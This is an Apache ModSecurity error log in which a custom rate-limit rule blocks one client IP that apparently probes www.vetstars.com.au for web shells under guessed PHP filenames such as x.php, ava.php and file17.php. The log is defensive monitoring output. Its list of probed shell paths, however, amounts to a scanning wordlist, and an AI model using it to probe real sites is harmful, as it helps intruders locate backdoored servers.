[Wed Jan 21 00:12:05.078368 2026] [:error] [pid 17340:tid 17367] [client 20.230.68.25:3895] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aW-pVfAsOSYVgw_35t3KjwAAAks"]
[Wed Jan 21 00:12:05.576273 2026] [:error] [pid 54259:tid 54300] [client 20.230.68.25:3952] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aW-pVQ2q1USrePnOoFQYSQAAAJc"]
[Wed Jan 21 00:12:06.038530 2026] [:error] [pid 54382:tid 54392] [client 20.230.68.25:4088] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aW-pVkTJlZ9SJ6sBOEveLgAAAAc"]
[Wed Jan 21 00:12:06.485597 2026] [:error] [pid 56291:tid 56297] [client 20.230.68.25:3922] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aW-pVrXgW_1T5Nikxa0XJwAAAEI"]
[Wed Jan 21 00:12:06.891074 2026] [:error] [pid 56326:tid 56335] [client 20.230.68.25:3912] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aW-pVhA6mi8Uwf45Uy9ZTAAAAMc"]
[Wed Jan 21 00:12:07.313846 2026] [:error] [pid 56360:tid 56372] [client 20.230.68.25:3937] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aW-pV01J8CD1rR-wXXt92AAAAQo"]
[Wed Jan 21 00:12:07.724798 2026] [:error] [pid 54259:tid 54294] [client 20.230.68.25:4082] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aW-pVw2q1USrePnOoFQYTQAAAJE"]
[Wed Jan 21 00:12:08.164119 2026] [:error] [pid 8455:tid 8474] [client 20.230.68.25:3928] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aW-pWIJiHdPVtruynXDZkwAAA1E"]
[Wed Jan 21 00:12:08.599225 2026] [:error] [pid 63647:tid 63671] [client 20.230.68.25:3990] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aW-pWFUaYw1xHOoaFFI55wAAAhY"]
[Wed Jan 21 00:12:09.024185 2026] [:error] [pid 56291:tid 56299] [client 20.230.68.25:3979] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aW-pWbXgW_1T5Nikxa0XKgAAAEQ"]
[Wed Jan 21 00:12:09.441810 2026] [:error] [pid 63647:tid 63673] [client 20.230.68.25:4023] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aW-pWVUaYw1xHOoaFFI56QAAAhg"]
[Wed Jan 21 00:12:09.882493 2026] [:error] [pid 56291:tid 56306] [client 20.230.68.25:3962] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x.php"] [unique_id "aW-pWbXgW_1T5Nikxa0XKwAAAEs"]
[Wed Jan 21 00:12:10.321291 2026] [:error] [pid 56326:tid 56329] [client 20.230.68.25:18885] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aW-pWhA6mi8Uwf45Uy9ZUQAAAME"]
[Wed Jan 21 00:12:10.779322 2026] [:error] [pid 54260:tid 54313] [client 20.230.68.25:3917] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aW-pWtg7jS3jmpUN0WA8dAAAAUU"]
[Wed Jan 21 00:12:11.231257 2026] [:error] [pid 56360:tid 56378] [client 20.230.68.25:3846] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aW-pW01J8CD1rR-wXXt93QAAARA"]
[Wed Jan 21 00:12:11.644101 2026] [:error] [pid 17340:tid 17377] [client 20.230.68.25:3906] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aW-pW_AsOSYVgw_35t3KlAAAAlU"]
[Wed Jan 21 00:12:12.075038 2026] [:error] [pid 17295:tid 17311] [client 20.230.68.25:4013] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aW-pXPZJhGdrcqZICT-3hgAAAY0"]
[Wed Jan 21 00:12:12.499337 2026] [:error] [pid 63647:tid 63649] [client 20.230.68.25:3847] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aW-pXFUaYw1xHOoaFFI56wAAAgA"]
[Wed Jan 21 00:12:12.913828 2026] [:error] [pid 17295:tid 17310] [client 20.230.68.25:4017] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aW-pXPZJhGdrcqZICT-3iQAAAYw"]
[Wed Jan 21 00:12:13.371374 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.25:4015] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aW-pXfZJhGdrcqZICT-3iwAAAY4"]
[Wed Jan 21 00:12:13.812012 2026] [:error] [pid 8455:tid 8472] [client 20.230.68.25:3983] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v1.php"] [unique_id "aW-pXYJiHdPVtruynXDZlgAAA08"]
[Wed Jan 21 00:12:14.250564 2026] [:error] [pid 17295:tid 17316] [client 20.230.68.25:3954] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v1.php"] [unique_id "aW-pXvZJhGdrcqZICT-3jgAAAZI"]
[Wed Jan 21 00:12:14.723731 2026] [:error] [pid 17295:tid 17300] [client 20.230.68.25:3955] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v1.php"] [unique_id "aW-pXvZJhGdrcqZICT-3jwAAAYI"]
[Wed Jan 21 00:12:15.163025 2026] [:error] [pid 56326:tid 56344] [client 20.230.68.25:3879] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v1.php"] [unique_id "aW-pXxA6mi8Uwf45Uy9ZVQAAANA"]
[Wed Jan 21 00:12:15.619912 2026] [:error] [pid 17295:tid 17303] [client 20.230.68.25:18869] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "aW-pX_ZJhGdrcqZICT-3kwAAAYU"]
[Wed Jan 21 00:12:16.088261 2026] [:error] [pid 17295:tid 17319] [client 20.230.68.25:3867] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "aW-pYPZJhGdrcqZICT-3lAAAAZU"]
[Wed Jan 21 00:12:16.577149 2026] [:error] [pid 56360:tid 56374] [client 20.230.68.25:4077] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "aW-pYE1J8CD1rR-wXXt94QAAAQw"]
[Wed Jan 21 00:12:17.065564 2026] [:error] [pid 17295:tid 17314] [client 20.230.68.25:3958] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/111.php"] [unique_id "aW-pYfZJhGdrcqZICT-3lgAAAZA"]
[Wed Jan 21 00:12:17.532064 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.25:3893] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aW-pYfZJhGdrcqZICT-3mQAAAYo"]
[Wed Jan 21 00:12:18.084564 2026] [:error] [pid 54259:tid 54300] [client 20.230.68.25:3841] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aW-pYg2q1USrePnOoFQYVQAAAJc"]
[Wed Jan 21 00:12:18.555508 2026] [:error] [pid 54259:tid 54282] [client 20.230.68.25:3961] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aW-pYg2q1USrePnOoFQYVgAAAIU"]
[Wed Jan 21 00:12:19.039917 2026] [:error] [pid 17340:tid 17366] [client 20.230.68.25:3992] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an7.php"] [unique_id "aW-pY_AsOSYVgw_35t3KlgAAAko"]
[Wed Jan 21 00:12:19.548739 2026] [:error] [pid 54382:tid 54389] [client 20.230.68.25:3943] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xeqdlun.php"] [unique_id "aW-pY0TJlZ9SJ6sBOEveQgAAAAQ"]
[Wed Jan 21 00:12:20.126901 2026] [:error] [pid 56360:tid 56369] [client 20.230.68.25:3924] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xeqdlun.php"] [unique_id "aW-pZE1J8CD1rR-wXXt95gAAAQc"]
[Wed Jan 21 00:12:20.610003 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.25:4029] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xeqdlun.php"] [unique_id "aW-pZNg7jS3jmpUN0WA8egAAAU0"]
[Wed Jan 21 00:12:21.161231 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.25:3853] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xeqdlun.php"] [unique_id "aW-pZfAsOSYVgw_35t3KmQAAAlE"]
[Wed Jan 21 00:12:21.637212 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.25:3948] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aW-pZfAsOSYVgw_35t3KmgAAAkw"]
[Wed Jan 21 00:12:22.130171 2026] [:error] [pid 17340:tid 17378] [client 20.230.68.25:4030] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aW-pZvAsOSYVgw_35t3KnAAAAlY"]
[Wed Jan 21 00:12:22.594417 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.25:3977] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aW-pZvZJhGdrcqZICT-3oQAAAYM"]
[Wed Jan 21 00:12:23.008247 2026] [:error] [pid 56326:tid 56339] [client 20.230.68.25:3920] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aW-pZxA6mi8Uwf45Uy9ZWAAAAMs"]
[Wed Jan 21 00:12:23.473218 2026] [:error] [pid 17295:tid 17311] [client 20.230.68.25:3931] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yellow.php"] [unique_id "aW-pZ_ZJhGdrcqZICT-3pAAAAY0"]
[Wed Jan 21 00:12:23.940234 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.25:3910] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yellow.php"] [unique_id "aW-pZ_ZJhGdrcqZICT-3pwAAAZM"]
[Wed Jan 21 00:12:24.401261 2026] [:error] [pid 56326:tid 56348] [client 20.230.68.25:3923] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yellow.php"] [unique_id "aW-paBA6mi8Uwf45Uy9ZZQAAANQ"]
[Wed Jan 21 00:12:24.902478 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.25:3944] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yellow.php"] [unique_id "aW-paE1J8CD1rR-wXXt97QAAAQk"]
[Wed Jan 21 00:12:25.350575 2026] [:error] [pid 8455:tid 8478] [client 20.230.68.25:3873] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aW-paYJiHdPVtruynXDZnQAAA1U"]
[Wed Jan 21 00:12:25.836070 2026] [:error] [pid 17295:tid 17302] [client 20.230.68.25:4016] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aW-pafZJhGdrcqZICT-3rAAAAYQ"]
[Wed Jan 21 00:12:26.375637 2026] [:error] [pid 54259:tid 54287] [client 20.230.68.25:3946] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aW-pag2q1USrePnOoFQYXgAAAIo"]
[Wed Jan 21 00:12:26.834417 2026] [:error] [pid 17295:tid 17305] [client 20.230.68.25:3843] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lala.php"] [unique_id "aW-pavZJhGdrcqZICT-3sgAAAYc"]
[Wed Jan 21 00:12:27.293825 2026] [:error] [pid 56326:tid 56349] [client 20.230.68.25:3941] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aW-paxA6mi8Uwf45Uy9ZbAAAANU"]
[Wed Jan 21 00:12:27.752433 2026] [:error] [pid 17340:tid 17366] [client 20.230.68.25:3913] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aW-pa_AsOSYVgw_35t3KqQAAAko"]
[Wed Jan 21 00:12:28.237651 2026] [:error] [pid 54259:tid 54298] [client 20.230.68.25:3855] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aW-pbA2q1USrePnOoFQYYgAAAJU"]
[Wed Jan 21 00:12:28.722815 2026] [:error] [pid 63647:tid 63659] [client 20.230.68.25:3814] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file3.php"] [unique_id "aW-pbFUaYw1xHOoaFFI5_QAAAgo"]
[Wed Jan 21 00:12:29.175506 2026] [:error] [pid 56291:tid 56304] [client 20.230.68.25:3892] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aW-pbbXgW_1T5Nikxa0XPAAAAEk"]
[Wed Jan 21 00:12:29.583810 2026] [:error] [pid 56291:tid 56309] [client 20.230.68.25:3956] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aW-pbbXgW_1T5Nikxa0XPwAAAE4"]
[Wed Jan 21 00:12:30.136052 2026] [:error] [pid 54259:tid 54292] [client 20.230.68.25:18867] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aW-pbg2q1USrePnOoFQYaAAAAI8"]
[Wed Jan 21 00:12:30.664465 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.25:3792] [client 20.230.68.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file17.php"] [unique_id "aW-pbtg7jS3jmpUN0WA8mAAAAU8"]
